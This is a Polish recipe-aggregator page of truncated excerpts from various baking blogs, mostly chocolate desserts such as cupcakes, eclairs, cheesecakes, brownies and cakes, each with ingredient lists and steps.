sztuk: na ciasto: 100 g mąki 60 g zimnego masła łyżka cukru pudru żółtko szczypta soli na nadzienie: 250 g serka Almette Fruit jagoda-malina 50 g czekolady mlecznej łyżka mleka łyżka poziomek 2-3 łyżki jagód leśnych łyżka różowych wiórek czekoladowych Składniki ciasta posiekać, rozwałkować i literatką wyciąć kółka. Foremki do babeczek wysmarować masłem i oprószyć mąką. Wylepić ciastem(...)wstawić do lodówki na minimum pół godziny. Schłodzone babeczki wstawić do piekarnika rozgrzanego do 200*C i piec około 15 minut.  Czekoladę połamać, dodać mleko i rozpuścić nad parą. Za pomocą pędzelka wysmarować środki babeczek. Serek przełożyć do szprycy i wycisnąć rozetki do babeczek. Na wierzchu ułożyć owoce i posypać wiórkami różowej czekolady.  Uwaga: nie polecam przechowywania babeczek

Domowa Cukierenka-Domowa Kuchnia
klasyczne eklerki z budniem 147

wyrabiam go z masłem na gorąco), ptysie czyli te okrągłe nadziewane są bitą śmietaną a karpatka ma krem budyniowy ucierany na zimno. Ja osobiście lubię eklerki pod czapą z czekolady a ptysie oprószone cukrem pudrem.  Jak widać z jednego, prostego ciasta ptysiowego można przygotować wiele rodzajów ciastek, a to tylko kilka możliwości jego wykorzystania. Ja zawsze przy okazji pieczenia(...)jajka na krem: litr mleka 80 g mąki ziemniaczanej 20 g mąki pszennej 20 g mąki kukurydzianej 3 żółtka 100 g cukru 200 g masła dodatkowo: 100 g gorzkiej czekolady  2 łyżki mleka łyżeczka masła Wodę z masłem zagotować. Wsypać mąkę i na wolnym ogniu ciągle mieszając zaparzyć ciasto aż powstanie jednolita gęsta masa. Zdjąć z ognia i wystudzić

Domowa Cukierenka-Domowa Kuchnia
ciasto z kulkami serowo-kokosowymi 101

twarogu 50 g kokosu 50 g cukru 3 łyżki mąki 1 jajko na ciasto: 5 jajek 225 g mąki 2 łyżki mąki ziemniaczanej 150 g cukru 150 g czekolady deserowej  4 łyżki kakao 150 ml mleka 1,5 łyżeczki proszku do pieczenia szczypta soli na polewę: 1/4 kostki masła 1/4 szklanki cukru pudru łyżka kakao łyżka wrzątku płatki kokosowe(...)papierem do pieczenia. Z masy serowej ulepić kulki (najlepiej zwilżonymi rękami) i ułożyć na dnie blaszki.  Białka oddzielić od żółtek. Żółtka z cukrem utrzeć na białą puszystą masę. Czekoladę rozpuścić nad parą i wlać do masy jajecznej.  Mąkę, kakao, mąkę ziemniaczaną, sól i proszek do pieczenia wymieszać i przesiać do masy jajecznej, dolać mleko i zmiksować. Białka ubić

Domowa Cukierenka-Domowa Kuchnia
jabłecznik z mascarpone (bez pieczenia) 141

już w stronę jesiennych smaków- jabłek, orzechów, cynamonu. Nie mogę się doczekać długich jesiennych wieczorów, ponurych deszczowych dni i spadających liści. A wtedy taki kawałek jabłecznika z kremem i czekoladą będzie jak znalazł:)  *foremka 23*28 cm Składniki: 1,5 dużej paczki herbatników kakaowych 1 kg jabłek 2 opakowania galaretki pomarańczowej łyżeczka cynamonu 3 łyżki cukru 70 g czekolady(...)odrobinie wrzątku i wystudzić. Kremówkę ubić z cukrem pudrem na sztywno, zmiksować z serkami mascarpone a na końcu z żelatyną. Masę rozsmarować na ciastkach. Resztę herbatników ułożyć na wierzchu. Czekoladę rozpuścić z mlekiem nad parą i polać herbatniki. Ciasto kroić najlepiej następnego dnia

Domowa Cukierenka-Domowa Kuchnia
sernik miodownik z bakaliową polewą 159

ciasta nie mogą się obejść żadne święta ani większe rodzinne uroczystości. Z tego przepisu korzystam od lat ale tym razem wzbogaciłam go o bakalie namoczone w alkoholu i zalane czekoladą. Nadało mu to wykwintności i wyrazistszego smaku. Ten sernik najlepiej smakuje na trzeci dzień po złożeniu a z krojeniem trzeba poczekać minimum kilkanaście godzin, żeby placki odmiękły a ser stężał(...)szklanki cukru 2/3 szklanki mleka 4 łyżki mąki ziemniaczanej na polewę: 100 g suszonych śliwek 100 g suszonej żurawiny 100 g rodzynek 1/3 szklanki wódki 200 g czekolady deserowej 5 łyżek mleka Mąkę i sodę przesiać na stolnicę. Dodać masło, jajka, cukier i miód. Zagnieść ciasto i podzielić na trzy części. Każdą rozwałkować na wielkość blaszki i upiec na papierze

Domowa Cukierenka-Domowa Kuchnia
miodowe rogaliki w orzechach 105

dlatego przepis polecam początkującym. Składniki: 300 g mąki 5-6 łyżek miodu 150 g cukru 1 jajko 30 g masła  1 łyżeczka sody oczyszczonej dodatkowo: 100 g deserowej czekolady 4-5 łyżek startych orzechów włoskich 2 łyżki mleka Mąkę wymieszać z sodą i przesiać do miski. Dodać cukier. Miód i masło zagotować w rondelku, wlać do miski z mąką(...)kleić to można dodać jeszcze trochę mąki). Odrywać po kawałku ciasta i formować rogaliki. Układać je na blaszce do pieczenia i piec około 10-12 minut w 200*C. Czekoladę połamać, wrzucić do miski, zalać mlekiem i ustawić nad garnkiem z gotującą się wodą. Rozpuścić mieszając. Rogaliki z jednej strony zanurzać w czekoladzie i obtaczać w orzechach

Domowa Cukierenka-Domowa Kuchnia
Brownie z dyniowym musem 146

się bez dyni – warzywem, które nierozłącznie kojarzy się z tą porą roku. Dynia doskonale nada się nie tylko na zupę, ale też na… ciasto. Na dodatek z czekoladą! Krótka charakterystyka: miękki czekoladowy spód, do którego pasuje określenie „lekko kremowy, soczysty i wilgotny”, a dopełnieniem jest dyniowy, gładki mus. Będzie słodko, ale nie mdląco, a na dodatek(...)potrzebujemy: – 250 g ugotowanej / upieczonej dyni – 1 sporą łyżkę miodu – 100 g serka kanapkowego – 1 jajko Do przygotowania spodu brownie potrzebujemy: – 250 g gorzkiej czekolady – 160 g masła – 2 czubate łyżki miodu wielokwiatowego – 3 jajka – 70 g mąki orkiszowej – 50 g kakao – ½ łyżeczki proszku do pieczenia – szczypta soli

Szybko Tanio Smacznie
Babeczki czekoladowo – bananowe z masą makową. 189

Babeczki czekoladowo – bananowe z masą makową.Bardzo lubię to połączenie. Przydały się do popołudniowej herbaty. Składniki: 12 babeczek 100 g gorzkiej czekolady 150 g miękkiego masła 170 g cukru trzcinowego 3 jajka 175 g mąki pszennej 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody 3 łyżki kakao 2 duże ,dojrzałe banany (bardzo dojrzałe ,to ważne ,rozgnieść widelcem(...)skropić sokiem z cytryny ,aby nie ściemniały) masa makowa ,gotowa z puszki Czekoladę rozpuścić w kąpieli wodnej i odstawić do ostygnięcia. Masło utrzeć z cukrem na gładką i jasną masę .Dodawać po jednym jajku , dokładnie ubijając . Mąkę przesiać z proszkiem do pieczenia ,sodą i kakao i dodać do masy mieszając łyżką .Dodać czekoladę i banany i wymieszać . Do każdej foremki

Ladylaura.
Latte macchiato z nutą pomarańczy 184

Rozgrzeje, pobudzi zmysły a przy tym doskonale się prezentuje w towarzystwie świec. Składniki - proporcje na jedną szklankę 1 porcja espresso 1 czubata łyżka stołowa kandyzowanej skórki pomarańczowej 1/4 tabliczki czekolady (białej, mlecznej lub gorzkiej) 150 ml mleka duża szczypta świeżo zmielonej skórki pomarańczowej ( tutaj przepis ) Sprzęt młynek do kawy - korzystam z wielofunkcyjnego młynka  MPM MMK- 06 M ekspres(...)rozpocząć dzień wcześniej. Do każdej ze szklanek wsypujemy kandyzowaną skórkę pomarańczową i staramy się ją dokładnie ubić, w ten sposób, aby nie pozostawiać wolnych przestrzeni. Połamaną na małe kawałki czekoladę rozpuszczamy w kąpieli wodnej, a następnie nakładamy cienką warstwę na kandyzowaną skórkę pomarańczową i odstawiamy do lodówki do następnego dnia. Przed podaniem spieniamy mleko i wlewamy do szklanek, a następnie

Kulinaria - potrawy z różnych stron świata
sernik z gruszkami 180

upieczeniu sernik pozostawiamy go w piekarniku przy uchylonych drzwiczkach do przestudzenia a następnie wkładamy do lodówki na noc. składniki na białą polewę czekoladową: 100 g białej czekolady 3 łyżki śmietany kremówki wykonanie: Czekoladę łamiemy na mniejsze kawałki i roztapiamy w kąpieli wodnej czyli wkładamy ją do miseczki, dodajemy kremówkę i umieszczamy nad garnuszkiem z gotującą się wodą. Mieszamy od czasu(...)czasu. Gdy czekolada się rozpuści polewamy nią wierzch sernika. (inspiracja z przepisu znalezionego tutaj

Domowy Smak Jedzenia
Muffinki czekoladowo-orzechowe z coca-colą 121

Muffinki z czekoladą, orzechami włoskimi i cynamonem z delikatnym posmakiem coca-coli polane lukrem o smaku coca-coli :) Do muffinek najlepiej użyć coca-colę świeżo otwartą. Składniki: Muffinki: 2 szklanki mąki pszennej 3 łyżeczki proszku do pieczenia 1/2 łyżeczki cynamonu 75 g orzechów włoskich 3/4 szklanki brązowego cukru 1 jajko 125 g masła 100 ml jogurtu naturalnego 1/2 szklanki coca(...)coli 50 g czekolady mlecznej Wierzch: 1/2 szklanki cukru pudru 1 łyżka coca-coli Sposób przygotowania: 1. W pierwszej misce mieszamy przesianą mąkę z proszkiem do pieczenia, cynamon, posiekaną drobno czekoladę i posiekane orzechy. W drugiej misce roztrzepujemy jajko i miksujemy je z cukrem i miękkim masłem. Dodajemy jogurt, coca-colę i mieszamy. Do płynnych składników dodajemy suche i dokładnie

Na Ciasteczkowych Papierach
Pyszna tarta bardzo czekoladowa (bez cukru, wegańska, bezglutenowa) 195

formę do tarty  Piec w temp. 180 st. przez 20-25 minut Ostudzić Farsz Składniki: 2 szt. awokado  1 dojrzały banan 2 łyżki miodu/syropu 250 g gorzkiej czekolady (ponad 70%) dowolne owoce - użyłam mrożonych malin Przygotowanie: Awokado i banana obrać, pokroić na mniejsze kawłki i zmiksować na gładką masę Czekoladę rozpuścić razem z syropem (ja robię(...)kawałki czekolady umieszam w ceramicznej miseczce, stawiam nad garniekm z gorującą się wodą i roztapiam na parze) Połączyć wszystkie składniki i poczekać aż lekko przestygnie Na wierzch ułożyć wybrane owoce, ja dałam mus z malin Smacznego

pyszne zdrowości
Sernik Snickers 203

Bounty okazał się takim hitem, że postawnowiłam lekko go modyfikując stworzyć całkiem nowy smak - i tak powstał sernik Snickers: pyszna serowo-kajmakowa warstwa, pokryta orzeszkami w karmelu i mleczną czekoladą. Palce lizać! SKŁADNIKI: (na tortownicę 28 cm) SPÓD:     25-30 dag ciastek maślanych (najlepiej kakaowych)* 2 łyżki masła MASA SEROWA:     1 kg twarogu sernikowego (u mnie(...)być bez soli) 100 g masła 1/3 szkl cukru 50 ml śmietanki 30% 10 dag masy kajmakowej (czyli to co zostało w puszce po zrobieniu masy serowej) DODATKOWO: 1 czekolada mleczna   (100 g) 50 ml śmietanki 30% * zamiast ciastek maślanych można użyć ciastek Hitów czekoladowych - wtedy nie dodajemy już masła ** można zmieszać z innymi orzechami SPÓD: 1. Ciastka zmielić

Kto ugości moich gości?
Migdałowo czekoladowe talarki 87

mąki 250 g masła 200 g cukru 70 g płatków migdałowych 150 g czekolady kilka kropel aromatu migdałowego 3 łyżki śmietany gęstej 2 jajka 1 łyżeczka proszku do pieczenia Płatki migdałowe uprażyć na suchej patelni, wystudzić, utłuc w miseczce by były drobniejsze. Mąkę rozetrzeć z masłem dodać migdały, czekoladę zetrzeć na tarce o średnich oczkach (pozostawić 4 kostki do posypania(...)zamrażarki. Wyjąć, kroić talarki i układać na blasze wyłożonej papierem do pieczenia. Piec w temp 180 st przez 15 min z termoobiegiem. Po wyjęciu jeszcze cieple ciasteczka posypać startą czekoladą która najpierw się rozpuści a potem zastygnie

Gotowanie jest łatwe
Sernik czekoladowy z daktylami 139

cukru szczypta proszku do pieczenia 2 żółtka 2 łyżki śmietany 700 g sera 6 jajek 1 szkl cukru 1 margaryna 1 budyń czekoladowy 2 łyżki kakao 1 tabliczka gorzkiej czekolady 70 g daktyli Ciasto zagnieść, wylepić formę lub tortownicę i podpiec spód, ok 12 min w temp 180 st. Margarynę utrzeć z cukrem, dodać żółtka, i partiami zmielony uprzednio(...)Dodać budyń, kakao i rozpuszczoną na parze czekoladę( ok 20 g zostawić do posypania) . Daktyle pokroić na drobniejsze kawałki a na koniec dodać pianę ubitą z białek. Wylać masę czekoladowo serową na podpieczone ciasto i piec ok 45 min. Sernik wyjąć z piekarnika, przestudzić i na jeszcze ciepły zetrzeć czekoladę która się rozpuści a potem zastygnie . Udekorować truskawkami

Gotowanie jest łatwe
Tort orzechowy 632

Polewa czekoladowa: 2 łyżki masła 2 łyżki cukru 2 łyżki kakao 2 łyżki mleka Dodatkowo: dżem z czarnej porzeczki posiekane orzechy włoskie do dekoracji boków tortu biała i gorzka czekolada do dekoracji tortu Przygotowanie: 1. Biszkopt kakaowo- orzechowy: Białka ubić na sztywno z solą, stopniowo dodawać cukier, cały czas miksując. Dodać żółtka, miksować. Na koniec wsypać przesiane suche składniki, delikatnie(...)jednolitej polewy. Gdy zgęstnieje wylać ją na górę tortu i rozprowadzić szpatułką. Schłodzić do całkowitego stężenia polewy. 6. Wierzch tortu dowolnie udekorować. Polecam zrobić dekoracje z białej oraz ciemnej czekolady. Smacznego

Nastoletnie Wypiekanie
sernik mocno czekoladowy z gruszkami 163

twarogu 250 g serka mascarpone 200 g cukru 1 i 1/2 łyżki mąki pszennej 1 i 21/2 łyżki maki ziemniaczanej 2 łyżki kakao 4 jajka 200 g gorzkiej czekolady wykonanie: Twaróg mielimy 3 razy. Czekoladę roztapiamy w kąpieli wodnej. Twaróg miksujemy z serkiem mascarpone i cukrem. Następnie dodajemy czekoladę i miksujemy. Dodajemy stopniowo jajka, za każdym razem miksujemy. Na końcu

Domowy Smak Jedzenia
Muffinki z likierem wiśniowym 133

Czekoladowe muffinki z pysznymi, nasączonymi likierem rodzynkami, ozdobione kremem z białej czekolady i serka. Mimo dodatku alkoholu, praktycznie nie czuć go w babeczkach - jest tylko taka leciutka nutka wiśniówki. Całość - palce lizać :)  SKŁADNIKI: 1 jajko  1/4 szkl oleju 100 ml jogurtu naturalnego 100 ml likieru wiśniowego 1/4 szkl cukru 2 niepełne szklanki mąki 1 łyżeczka proszku do pieczenia(...)łyżki kakao  Dodatkowo:   150 g rodzynek (u mnie pyszne ogromne Thompson Jumbo od Skworcu )  70-100 ml likieru wiśniowego Krem do ozdoby: 100 g białej czekolady 150 g serka homogenizowanego naturalnego lub waniliowego 1. Rodzynki wsypać do rondelka, zalać likierem (tak żeby przykryły rodzynki), podgrzewać aż rodzynki nasiąkną dobrze likierem (najlepiej odstawić je tak na kilka godzin

Kto ugości moich gości?
CIASTO CZEKOLADOWE Z BURAKAMI 138

Ciasto z dodatkiem buraka , to ciasto pyszne, wilgotne, po prostu do wypróbowania! Polecam gorąco...Bo smak jest obłędny! Składniki -250 g buraków -2 łyżki oliwy -200 g czekolady 70% 180 g masła -5 jaj -150 g cukru brązowego -2 łyżki miodu wielokwiatowego  MIODY POLSKIE -130 g mąki pszennej pełnoziarnistej -pół szklanki kakao naturalnego  SKWORCU -1 czubata łyżeczka proszku(...)szczypta soli Umyj buraki,skrop oliwą, zawiń w folię i upiecz w piekarniku nagrzanym do 200 stopni- około godzinę. Odstaw niech wystygną. Następnie obierz je i zblenduj na gładko. Czekoladę podgrzej w kąpieli wodnej, a kiedy będzie płynna dodaj miód, masło. Rozpuść. Wystudz. Ubij żółtka na puch, połącz ciągle miksując z burakami. Następnie dodaj masę miodowo -czekoladową. Żółtka ubij

Z Kuchni Do Kuchni
Ciemny placek cioci Stasi 172

łyżeczki proszku do pieczenia 3 łyżki kakao Przygotowanie: (zapis taki jak w zeszycie) Cukier z jajkami ukręcamy, mleko, mąka, kakao, margaryna. W średnim ogniu piec. Polewa czekoladowa: 2 tabliczki czekolady gorzkiej trochę masła i mleka Przygotowanie: Czekoladę rozpuszczamy w kąpieli wodnej do rozpuszczonej czekolady dodajemy trochę masła i mleka i mieszamy do połączenia składników. Gotową polewą polewamy ciasto i posypujemy

Motylkowa Kuchnia
Cynamonowiec ze śliwkami 165

można pokombinować z dodatkami smakowymi (wanilia, kardamon czy ulubiony aromat), a jeżeli chodzi o 'wykończenie' to wystarczy cukier puder z odrobiną cynamonu, choć zachęcam do skosztowania polewy z białej czekolady i cynamonu, która jeszcze bardziej potęguje doznania smakowe. A czy zauważyliście jakie jest proste do zapamiętania?! :) Ciasto: * mąka pszenna- 220 g * masło- 220 g * cukier- 220 g * jajka(...)cynamon- 2 łaskie łyżeczki * proszek do pieczenia- 2 płaskie łyżeczki * śliwki- kilkanaście szt. Polewa: * biała czekolada- 50 g * olej- 1 łyżeczka * cynamon- 1/2 łyżeczki Ciasto: Piekarnik nastawić na 180 stopni. Miękkie masło utrzeć z cukrem na jasną masę, wbić jajka i wymieszać. Proszek do pieczenia oraz cynamon wymieszać z mąką, całość przesypać do miski z maślaną masą i połączyć. Małą

Kraina Miodem Płynąca
Śliwki w czekoladzie – smarowidło 144

Blueberry Corner by "jagodzianka" Nie dżem, nie krem – tylko smarowidło o smacznej nazwie śliwki w czekoladzie. Od dawna jestem fanką śliwek w czekoladzie … Przeczytaj cały artykuł Post Śliwki w czekoladzie – smarowidło pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Sernik - Malina 361

przepisu z użyciem malin. No i trafiłam w 10-tkę! Sernik - Malina, to wyśmienite połączenie delikatnego i mięciutkiego jak puch sernika z warstwą śmietanowo-malinową, i polewą z białej czekolady, która świetnie dopełnia całości. Spód: 200 g kruchych ciastek 2 łyżki masła Masa serowa: 500 g tłustego twarogu 500 g mascarpone skórka starta z 1 cytryny 3 łyżki skrobi ziemniaczanej(...)pełna łyżka stołowa) 400 g śmietanki 36% (zimnej), najlepiej gęstej, z kubka 100 g śmietanki 30% (zimnej) 6 łyżek cukru pudru Dekoracja: świeże maliny listki mięty 50 g białej czekolady 3 łyżki śmietanki kremówki 30% Przygotować formę o wymiarach 25x36 cm i wyłożyć ją papierem do pieczenia. Zaczynamy od spodu sernika. Ciastka dokładnie pokruszyć i wymieszać z roztopionym (lekko przestudzonym

Świat Ciasta
Łatwe ciasto limonkowe 115

minut. Polecam!!! SKŁADNIKI: 4 jajka, 3/4 szklanki cukru, 1 szklanka mąki tortowej, 2,5 łyżki mąki ziemniaczanej, 1 łyżeczka proszku do pieczenia, 120g margaryny, 2 limonki, 1 tabliczka mlecznej czekolady, kolorowe perełki do dekoracji. PRZYGOTOWANIE: 1. Jajka razem z cukrem ubijam na puszystą masę. Nie przerywając ubijania stopniowo dodaję mąki wymieszane razem z proszkiem do pieczenia. Do masy cienkim strumykiem(...)przekładam do foremki o wymiarach 11cm x 35cm, wyłożonej papierem do pieczenia. Piekę około 50 minut w temperaturze 180 stopni (do suchego patyczka). Przestudzone ciasto wyjmuję z formy. 3. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Rozpuszczoną czekoladą polewam ciasto. Wierzch posypuję kolorowymi perełkami

Tradycyjna kuchnia Kasi
Czekoladowe ciasto z malinami i borówkami! 125

Czekoladowe ciasto z mnóstwem borówek i malin. Wilgotne, słodkie i pyszne. Bardzo proste do zrobienia. Smakuje chyba każdemu, bo kto nie lubi czekolady? ;-) Zapraszam! SKŁADNIKI: - 1 kostka masła - 100 g cukru brązowego - 2 duże jajka - 150 g kuleczek czekoladowy (lub 1,5 tabliczki gorzkiej czekolady) - 250 g mąki - 2 łyżeczki proszku do pieczenia - 120 ml mleka tłustego - łyżka czubata kakao(...)maliny i borówki max 300g W rondelku umieść masło, czekoladę, kakao, cukier i mleko. Rozpuść na małym ogniu. Mąkę przesiej przez sito , wymieszaj z proszkiem do pieczenia. Oddziel żółtka od białek. Białka ubij na sztywno. Do wystudzonej masy czekoladowej dodaj żółtka, i przesianą mąkę. Wymieszaj bardzo dokładnie, dodaj pianę z białek. Dodaj owoce. Wylej masę na wysmarowaną masłem formę wielkości

SMYKWKUCHNI
Czekoladowy Cukiernia w Warszawie 156

trafić! Cukiernia nie jest duża, ale taka całkiem w sam raz - trzy, cztery stoliki, kilka miejsc stojących, dwie lady chłodnicze samych pyszności - ciasta, torty, tarty, praliny, ciastka czy czekolady! Oczy chciałyby zjeść wszystko! Na pierwszy rzut poszła mała malinowa charlotte oraz tartaletka z marakują i mango! Ale dzięki trafieniu do cukierni w pierwszy dzień mieliśmy okazję spróbować jeszcze kilku pyszności(...)przy procentowych bąbelkach- cudnej tartaletki ze śliwką węgierką pod bezą opalaną palnikiem, wilgotnego sernika, a na wynos dostaliśmy przepyszny malinowy tort z białą czekoladą! Tort był tak obłędny, że szliśmy ulicami Warszawy jedząc go paluchami ;) i było nam zupełnie obojętne czy ktoś na nas patrzy czy nie! Warto było :)  Ceny w Czekoladowym są chyba normalne i całkowicie do zaakceptowania

Plate of Joy
Mini Serniczki z Masłem Orzechowym i Czekoladą 154

wierzchu. Serniczki trochę wyrosły, ale podczas studzenia opadły. Tak ma być. Upieczone wyciągnęłam z piekarnika i wystudzone wstawiłam na dwie godziny do lodówki. Po tym czasie zajęłam się czekoladą. POLEWA CZEKOLADOWA: 90 g czekolady ( ja użyłam 35 g mlecznej i 55 gorzkiej) ok. 55 ml śmietany kremówki 30% 10 g masła Do rondelka wlałam kremówkę i postawiłam na średni ogień(...)śmietanka lekko się podgrzała włożyłam masło i podgrzewałam do momentu wrzenia. Rondelek zdjęłam z ognia wsypałam czekoladę i energicznie mieszałam do czasu jej rozpuszczenia. Od razu masę nałożyłam na schłodzone serniczki. Po wierzchu posypałam pokruszonymi krakersami i pastylkami czekoladowymi, bo oczywiście robiąc masło orzechowe zapomniałam odłożyć sobie garstkę orzeszków do dekoracji ;) SMACZNEGO życzy BLONDYNKA

Blondynka Gotuje
Ciasto "Wiśniowa fantazja". 597

szklanka soku z wiśni (z kompotu)   1,5 szklanki wody 2 galaretki wiśniowe 1 szklanka odsączonych wiśni z kompotu   na polewę:   100 g czekolady mlecznej   100 g czekolady gorzkiej    Przygotowanie: Białka oddzielamy od żółtek i  ubijamy je z szczyptą soli na sztywną pianę. Do ubitych białek(...)tężeć, dodajemy do niej wiśnie (bez pestek). Odkładamy, aby galaretka jeszcze lekko stężała i wylewamy ją na masę budyniową. Przykrywamy drugim biszkoptem. Na wierzch wylewamy roztopioną czekoladę. Przekładamy do lodówki, najlepiej na całą noc.  Smacznego

Symfonia smakowa
Sernik z dynią na ciasteczkowym spodzie 147

lubię od czasu do czasu upiec dobry sernik lub inne ciasto, które oczywiście będzie mniej tłuste i zdrowsze niż inne. Największym grzechem w tym cieście jest polewa z białej czekolady- uważam jednak, że można ją pominąć bo ciasto samo w sobie jest i słodkie, i pyszne! Składniki (na tortownicę o średnicy 16 cm): 200 gram chudego twarogu 150 gram puree(...)wanilii 3 łyżki budyniu waniliowego (proszek)** 150 gram herbatników lub ciastek orzechowych, ja użyłam tych 5 suszonych śliwek 2 łyżki masła 1 łyżka miodu na polewę: 50 gram białej czekolady+ 2 łyżki oleju z orzechów włoskich*** Ciastka miksuję w malakserze z dodatkiem masła, śliwek i miodu tak długo aż otrzymam spójną masę. Tortownicę wykładam papierem do pieczenia, wypuszczając brzegi papieru

Mango Papaja
Dietetyczny szejk od Kulturystyka.sklep.pl :) 141

czuje się takiego mocnego przesłodzenia . Diet Shake jest aktualnie dostępny w dwóch wersjach smakowych - waniliowy i czekoladowy . Jako że wanilię miałam już możliwość próbować skusiłam się tym razem na czekoladę. Za pierwszym razem miałam wrażenie, że ten smak czekolady jest za mało intensywny, bardzo delikatny. Smakuje niczym słodziutkie, lekkie kakao, właśnie tylko z odrobiną tego składnika. Po kilku łykach przekonałam(...)się, że więcej czekolady mi nie potrzeba, ponieważ ten delikatny posmak kakao jak najbardziej mnie usatysfakcjonował. Po kilku minutach od przygotowania, kiedy koktajl ustał można było zauważyć unoszącą się na górze jasno brązową otoczkę. Jest to normalny proces i jak mi się wydaję to po prostu błonnik, inulina czy inne składniki. Po wstrząśnięciu wszystko wraca do normy

Zdrowie na języku :P
Eklery kawowe 246

przekładamy do rękawa cukierniczego i wyciskamy na blaszkę wyłożoną papierem do pieczenia  nasze eklery.  pieczemy przez 20 minut w temperaturze 180' C   POLEWA KAWOWA 1 tabliczka czekolady mlecznej ( 100 g ) 10 ml śmietanki 30%, 1 łyżeczka miodu, 2 płaskie łyżeczki kawy rozpuszczalnej, 20 g masła,  W garnku gotujemy śmietankę dodając miód i kawę następnie dodajemy pokruszoną(...)czekoladę i masło. Całość dokładnie mieszamy  i odstawiamy do przestudzenia. KREM 200 ml mleka, 2 łyżeczki kawy rozpuszczalnej, 3 żółtka, 20 g mąki pszennej, 10 g mąki ziemniaczanej, 90 g cukru,   1 opakowanie cukru wanilinowego, 1 łyżeczka masła, Do garnka wlewamy mleko, które zagotowujemy wraz z kawą . W misce ucieramy żółtka z cukrem i cukrem wanilinowym, następnie dodajemy

cookpl
Fantazja czekoladowo-wiśniowa Janczeczki 609

Bardzo atrakcyjne, kuszące ciasto, przyznacie, że wygląda świetnie, a równie wspaniale smakuje! Połączenie smaku wiśni i czekolady daje wspaniały efekt, a jeszcze wzmocniony nutą użytego cynamonu, po prostu - poezja smaku! Skł adniki: 7 jaj 1 szklanka cukru 1 szklanka mąki pszennej 1/4 szklanki mąki ziemniaczanej 1/3 szklanki kakao 1 łyżeczka proszku do pieczenia M us czekoladowy 1 czekolada deserowa (mleczna(...)masy jajecznej w trzech partiach ostrożnie mieszamy rózgą lub na małych obrotach miksera. Masę przekładamy na blaszkę, piec 30 min w temp. 180 st, C. Ostudzony biszkopt przekroić. Czekoladę połamać i rozpuścić w kąpieli wodnej, ostudzić, dodawać po łyżce mascarpone mieszając ostrożnie do połączenia się składników. Zimną śmietankę ubić na sztywno z cukrem pudrem i łączyć w trzech partiach

kgwjanczewo
,,Kawałek nieba- śnieżne chmurki’’ 459

zasmakuje Twojej rodzinie ? Szukasz pomysłu na podwieczorek a może planujesz zrobić rodzinną uroczystość? Prezentuję Wam dziś przyjemność dla oka i rozkosz dla podniebienia delikatny krem otulony białą aksamitną czekoladą. Kopułki przygotowałam dzięki życzliwości marki Garneczki.pl http://www.garneczki.pl/ którą śmiało z czystym sercem mogę polecić każdemu . Składniki: Biszkopt: 4 jaja 60 g cukru około ¼ szklanki 80 g mąki około ¾ szklanki(...)stopionego masła ziarenka z 1 laski wanilii kremowa pianka: 200 ml śmietany kremówki 30% 250 g mascarpone 5 łyżek cukru pudru Dodatkowo: kilka łyżek dżemu porzeczkowego 300 g białej czekolady Sposób przygotowania: Czekoladowe kopułki: Czekoladę rozpuszczamy w kąpieli wodnej. Następnie rozkładamy ją równomiernie pomiędzy przygotowane wcześniej foremki półkule o których już wcześniej wspominałam a następnie dokładnie rozprowadzamy ją po same

Podróż w kulinaria
,,Bajeczne lizaki z pianek’’ 151

Zaskocz dzieci pysznymi piankami na patyku! Takie urocze słodkości to świetny pomysł na urozmaicenie również dziecięcych imprez choć sięgają po nie nie tylko najmłodsi! Składniki: opakowanie pianek 2 białe czekolady barwnik lub polewa niebieska ozdoby cukiernicze Wykonanie: Pianki nabijamy na patyki do lizaków. Czekoladę roztapiamy w kąpieli wodnej. Pianki zamaczamy w czekoladzie i posypujemy według swojego uznania ozdobami cukierniczymi. Smacznego

Podróż w kulinaria
,,Truskawkowe szaleństwo stracciatella’’ 125

Przedstawiam Wam dziś lekki, orzeźwiający i z dużą dawką czekolady torcik. Pyszna masa śmietanowo- mascarpanowa z zatopionymi w niej truskawkami to prawdziwy raj dla podniebienia. Dzięki życzliwości marki Garneczki.pl i marki Master Cook Handel w mojej kuchni powstał ten truskawkowy deser. Składniki: 10 dag serka mascarpone 100 ml śmietany 30% 3 łyżki cukru pudru z wanilią ( kupiony tutaj ) tabliczka startej(...)czekolady mlecznej 10 truskawek 1 galaretka truskawkowa około 75g ( kupiony tutaj ) 100g herbatników czekoladowych (zmielone w blenderze) 50g masła 1 łyżka brązowego cukru Foremki półkule Wykonanie: Truskawki myjemy oczyszczamy, kroimy wzdłuż i układamy na spód miseczek. Galaretkę rozpuszczamy w 200 ml gorącej wody, dokładnie mieszamy i ostudzamy. Tężejącą galaretką zalewamy na ułożone truskawki i wkładamy do lodówki na około

Podróż w kulinaria
,,Biała kostka Lionu’’ 400

Lubicie batonik ,,Biały Lion’’? Delikatny biszkopt, rozpływający się kajmak z preparowanym ryżem, budyniowa masa i chrupiące orzeszki z nutą białej czekolady! Inspiracją do powstania ciasta była życzliwość marki Garneczki.pl oraz marki Piątnica Składniki: Biszkopt 6 jajek 1 szklanka mąki 1 szklanka drobnego cukru do wypieków 1 płaska łyżeczka proszku do pieczenia 1 łyżka mąki ziemniaczanej szczypta soli Masa 2 jajka(...)łyżki maki pszennej 3 łyżki cukru 200 g miękkiego masła Ponadto 2 puszki masy kajmakowej 60 g ryżu preparowanego 400 g orzeszków ziemnych prażonych niesolonych ( kupione tutaj ) 3 białe czekolady 3 batoniki,, Biały Lion’’ Sposób wykonania: Biszkopt: Białka ubijamy z odrobiną soli na sztywno. Pod koniec ubijania dodajemy porcjami cukier. Kiedy będą dobrze ubite dodajemy po jednym żółtku i miksujemy

Podróż w kulinaria
Ciasto czekoladowe z cukinią 152

wypiekach. Uwielbiam ciasto z cukinią zwłaszcza ciasto czekoladowe, bo jest takie wilgotne. W zeszłym roku piekłam non stop czekoladowe ciasto z cukinią i jagodami Dzisiaj ciasto na oleju z czekoladą, jasnym cukrem muscovado i pożądną dawką wanilii. Pychotka. Ciasto czekoladowe z cukinią Składniki: podłużna foremka o długości 30 cm 300 g zielonej cukinii 300 g pszennej mąki, u mnie chlebowa(...)kakao ½ łyżeczki proszku do pieczenia ½ łyżeczki soda oczyszczonej ½ łyżeczki soli 3 jajka 180 g jasnego cukru muscovado 175 ml oleju 1 łyżeczka waniliowej pasta lub ekstraktu 100 g gorzkiej czekolady, u mnie 60% kakao Nastaw pikearnik na 160ºC na termoobieg (bez termoobiegu około 15 stopni więcej)Zmiksuj jajka z cukrem, wanilią i solą. Dodaj olej i zmiksuj do połączenia składników

codojedzenia
